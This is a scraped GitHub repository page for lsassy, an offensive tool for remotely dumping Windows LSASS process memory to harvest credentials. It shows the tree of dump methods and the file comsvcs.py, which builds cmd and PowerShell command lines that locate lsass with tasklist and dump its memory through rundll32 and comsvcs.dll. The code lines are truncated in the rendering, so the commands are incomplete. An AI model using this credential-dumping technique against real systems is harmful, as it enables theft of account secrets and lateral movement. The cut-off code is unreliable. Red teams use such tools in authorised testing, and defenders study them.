

Product ▾ Solutions ▾ Resources ▾ Open Source ▾ Enterprise ▾ Pricing

🔍

Sign in

Sign up

📄 login-securite / lsassy

Public

Sponsor

Notifications

Fork 247

Star 2k

<> Code

Issues 3

Pull requests

Actions

Security

Insights

Files

14d8f8a

Go to file

> .github


> assets

> hooks

> lsassy

- > dumpmethod
 - __init__.py
 - comsvcs.py
 - comsvcs_stealth.py
 - dllinject.py
 - dummy.py.tpl
 - dumpert.py
 - dumpertdll.py
 - edrsandblast.py
 - mirrordump.py
 - mirrordump_embedded.py
 - nanodump.py
 - nanodump_ssp_embedded.py
 - ppldump.py
 - ppldump_embedded.py
 - procdump.py
 - procdump_embedded.py
 - rawrpc.py
 - rawrpc_embedded.py
 - rdrlleakdiag.py
 - silentprocessexit.py
 - sqldumper.py
 - wer.py
- > exec
- > output
- > resources
 - __init__.py
 - console.py
 - core.py
 - credential.py
 - dumper.py
 - impacketfile.py

lsassy / lsassy / dumpmethod / comsvcs.py

 Hackndo

Multi-command support for dump methods

4e10e77 · 2 years ago

History

Code

Blame

19 lines (12 loc) · 683 Bytes

Raw

```
1      from lsassy.dumpmethod import IDumpMethod
2
3
4  class DumpMethod(IDumpMethod):
5
6      need_debug_privilege = True
7
8
9  def get_commands(self):
10      cmd_command = """for /f "tokens=1,2 delims= " ^%A in ("tasklist /fi "Imagename
11          self.dump_path, self.dump_name)
12
13      pwsh_command = """rundll32.exe C:\\Windows\\System32\\comsvcs.dll, #+0000^24 (G
14          self.dump_path, self.dump_name)
15
16      return {
17          "cmd": cmd_command,
18          "pwsh": pwsh_command
19      }
```

Page 1 of 2

logger.py

parser.py

session.py

utils.py

writer.py

>

tests